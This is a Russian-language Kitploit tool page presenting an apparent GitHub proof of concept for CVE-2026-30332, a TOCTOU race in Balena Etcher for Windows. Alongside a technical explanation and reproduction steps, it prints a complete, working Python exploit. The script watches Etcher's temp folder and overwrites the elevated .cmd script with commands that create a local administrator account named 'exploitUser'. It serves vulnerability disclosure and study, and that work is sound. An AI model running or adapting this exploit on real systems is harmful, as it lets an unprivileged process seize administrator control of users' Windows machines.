Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-30332 — Balena Etcher версии до v2.1.4 в Windows подвержены состоянию гонки типа Time-of-Check to Time-of-Use (TOCTOU) при обработке временных файлов. | Kitploit
Инструменты/GitHubGitHub/b1tbreaker/cve-2026-30332
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатация
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcher версии до v2.1.4 в Windows подвержены состоянию гонки типа Time-of-Check to Time-of-Use (TOCTOU) при обработке временных файлов.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-30332

Описание

Уязвимость типа Time-of-Check to Time-of-Use (TOCTOU) была обнаружена в Balena Etcher для Windows в версиях до 2.1.4.
Приложение создаёт временный файл .cmd в каталоге, доступном для записи пользователю, а затем выполняет его с повышенными привилегиями через UAC.
Это позволяет приложению или процессу, работающему в контексте текущего пользователя с средним уровнем целостности, повысить привилегии до высокого уровня целостности путём внедрения вредоносных команд во временный скрипт до его выполнения.


Технический анализ

Когда пользователь запускает процесс прошивки, Etcher выполняет следующую последовательность действий:

  1. Временный файл .cmd создаётся в доступном для записи временном каталоге пользователя:
    C:\Users\<username>\AppData\Local\Temp\etcher\

  2. В файл записываются необходимые переменные окружения и команда для запуска etcher-util.exe.

  3. Скрипт выполняется с повышенными привилегиями через Windows UAC.

Уязвимость возникает из-за временного промежутка между созданием файла и его выполнением. В течение этого короткого окна приложение, работающее в том же контексте пользователя, может отслеживать временный каталог и заменить легитимный файл .cmd на вредоносную версию. Поскольку Etcher не проверяет целостность файла перед его выполнением, вредоносный код выполняется с повышенными привилегиями.


Proof of Concept

Следующий скрипт на Python отслеживает временный каталог Etcher и, как только обнаруживает файл .cmd, добавляет в него вредоносную нагрузку, которая создаёт новую локальную учётную запись администратора.

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

Шаги для воспроизведения

  1. Откройте командную строку и выполните python exploit.py. Скрипт начнёт отслеживать временный каталог на наличие файлов .cmd, создаваемых Etcher.

  1. Запустите Balena Etcher, выберите корректный файл образа и целевое USB/SD-устройство, затем нажмите Flash, чтобы начать процесс прошивки.

  1. Когда появится запрос UAC, примите его, чтобы позволить Etcher продолжить работу с повышенными привилегиями.

  2. Эксплойт-скрипт обнаруживает и заменяет временный файл .cmd непосредственно перед выполнением. Как только скрипт выполняется с повышенными привилегиями, внедрённые команды выполняются, добавляя нового локального пользователя-администратора (exploitUser).

Ссылки

  • Запись CVE в NVD NIST
  • Проблема на GitHub – Отчёт об уязвимости
Скачать инструмент